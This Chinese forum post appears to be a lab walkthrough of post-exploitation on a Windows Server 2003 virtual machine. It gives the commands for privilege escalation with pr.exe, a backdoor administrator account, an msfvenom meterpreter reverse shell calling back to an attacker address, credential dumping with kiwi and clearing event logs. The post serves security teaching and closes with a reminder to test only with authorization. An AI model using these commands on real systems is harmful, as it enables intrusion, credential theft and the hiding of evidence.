安全测试实战演练(下)

本贴最后更新于 1125 天前,其中的信息可能已经物是人非

在上节中,我们一起学习了《安全测试实战演练》的web安全测试部分,这里继续学习后渗透阶段!

5. 后渗透阶段

在拿到webshell之后,相当于web安全测试到此结束,但是作为一个优秀(菜到离谱)的专业安全人员,怎能止步于此?

我们的目标是拿到 system3389远程连接!!!

于是开启了后渗透之旅。

5.1 提权

此处去执行命令发现没法执行,访问直接被拒绝!

按照以往的经验来说,上传一个cmd再去执行下命令试试看:

此时在蚁剑上无法直接上传 cmd.exe

那使用 菜刀webshell上传试试看:

直接上传成功!!!

在这里选择在当前目录下打开虚拟终端:

在当前命令行执行命令成功,而且此时的权限非常的低,是 NETWORK SERVICE

什么是 NETWORK SERVICE****?


NETWORK SERVICE属于Windows诸多安全主体中的一个,用于作为服务用户登录系统,可以访问网络。用户无法通过登录界面正常登录,也无法以此权限正常创建交互式服务来让用户直接操作。以这个账户运行的服务会根据实际环境把访问凭据提交给远程的计算机。此账户默认没有密码。一般情况下,需要访问网络而不需要管理员权限的服务都是以这个权限运行的 。它拥有本机部分权限并以计算机的名义访问网络资源。(来源:百度百科)

总结来说,当前的权限非常的低,无法进行 3389进行登录。

因此在这里需要进行提权。

当前使用 systeminfo查看下:

C:\Inetpub\wwwroot\bjgs_v2.1\Inc\> systeminfo

主机名:           CROW1471
OS 名称:          Microsoft(R) Windows(R) Server 2003, Enterprise Edition
OS 版本:          5.2.3790 Service Pack 2 Build 3790
OS 制造商:        Microsoft Corporation
OS 配置:          独立服务器
OS 构件类型:      Multiprocessor Free
注册的所有人:     crow
注册的组织:   
产品 ID:          69813-650-1424987-45829
初始安装日期:     2020-2-27, 5:56:41
系统启动时间:     188 天 2 小时 10 分 15 秒
系统制造商:       Parallels Software International Inc.
系统型号:         Parallels Virtual Platform
系统类型:         X86-based PC
处理器:           安装了 2 个处理器。
                  [01]: x86 Family 6 Model 158 Stepping 10 GenuineIntel ~2592 Mhz
                  [02]: x86 Family 6 Model 158 Stepping 10 GenuineIntel ~2591 Mhz
BIOS 版本:        PRLS   - 1
Windows 目录:     C:\WINDOWS
系统目录:         C:\WINDOWS\system32
启动设备:         \Device\HarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             Asia/Shanghai (Mac)
物理内存总量:     511 MB
可用的物理内存:   259 MB
页面文件: 最大值: 2,022 MB
页面文件: 可用:   1,751 MB
页面文件: 使用中: 271 MB
页面文件位置:     C:\pagefile.sys
域:               WORKGROUP
登录服务器:       暂缺
修补程序:         安装了 1 个修补程序。
                  [01]: Q147222
网卡:             暂缺

在这里可以看到,当前的系统是 Microsoft(R) Windows(R) Server 2003, Enterprise Edition,而且只安装了一个 Q147222场景。

通过经验可知,当前系统里面可能存在 pr提权漏洞(漏洞介绍在文章开始的部分),试下看看:

pr.exe上传至服务器:

在命令行中使用 pr.exe

此时,直接获取了 system权限。

5.2 3389登录

上述发现,已经获取到了 system权限,此时我们可以通过以下方法进行尝试登录:

  1. 直接新建账号,3389进行登录
  2. 抓取hash和密码,使用当前已有的用户进行登录

5.2.1 新增用户登录

因为刚已经获取了 system权限,因此直接在这里再新建一个用户,并将用户加到管理员组。

添加用户,并增加到管理员组:

net user  # 查看当前用户
net user test 123 /add   # 新增test用户,密码123 
net localgroup administrators  # 查看当前的管理组成员

net localgroup administrators test /add   # 将test用户添加到管理员组中去

操作如下:

查看当前3389端口是否开启:

当前端口已经开启,直接尝试 3389登录:

ip:10.211.55.17

用户名:test

密码:123

在这里使用:

此时登录成功:

5.2.2 抓明文密码进行登录

如果新建用户进行连接的时候,可能容易被管理员发现,因此在这里可以尝试抓取当前的密码。

在这里使用后渗透神器 meterpreter进行测试:

首先启动 msfconsole

使用 msfvenom生成一个exe的木马文件。

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=4444 -f exe -o 4.exe

将该 exe上传到 winserver2003 上,在攻击机开启监听,使用 system权限去执行。

本地监听:

直接 run,开启监听:

将文件上传到服务器:

使用 pr提权的 system权限去执行当前的木马:

上线 msf成功,此时权限是 system

开始抓密码,加载 kiwi

load kiwi

抓取密码:

获取密码成功,其中获取当前管理员密码:admin

直接 3389登录:

登录成功

5.3 清除痕迹

在msf中可以使用 clearev直接清除目标系统的事件日志。

6. 总结

在本次安全测试实战演练中,我们一共经历了web漏洞、系统漏洞两大块知识,在这些知识里面,我们学习到了sql注入漏洞、xss漏洞、弱口令漏洞、验证码漏洞、系统漏洞等。在这个过程中,需要我们扎实的基础和信息搜集能力。

本次实战演练仅仅做了安全测试工作的一小部分,还有安全测试报告的编写、安全漏洞的修复、复测部分在此就不再展开,希望大家谨记一句话:

无授权,不渗透

  • 安全
    52 引用 • 44 回帖 • 2 关注
回帖
请输入回帖内容 ...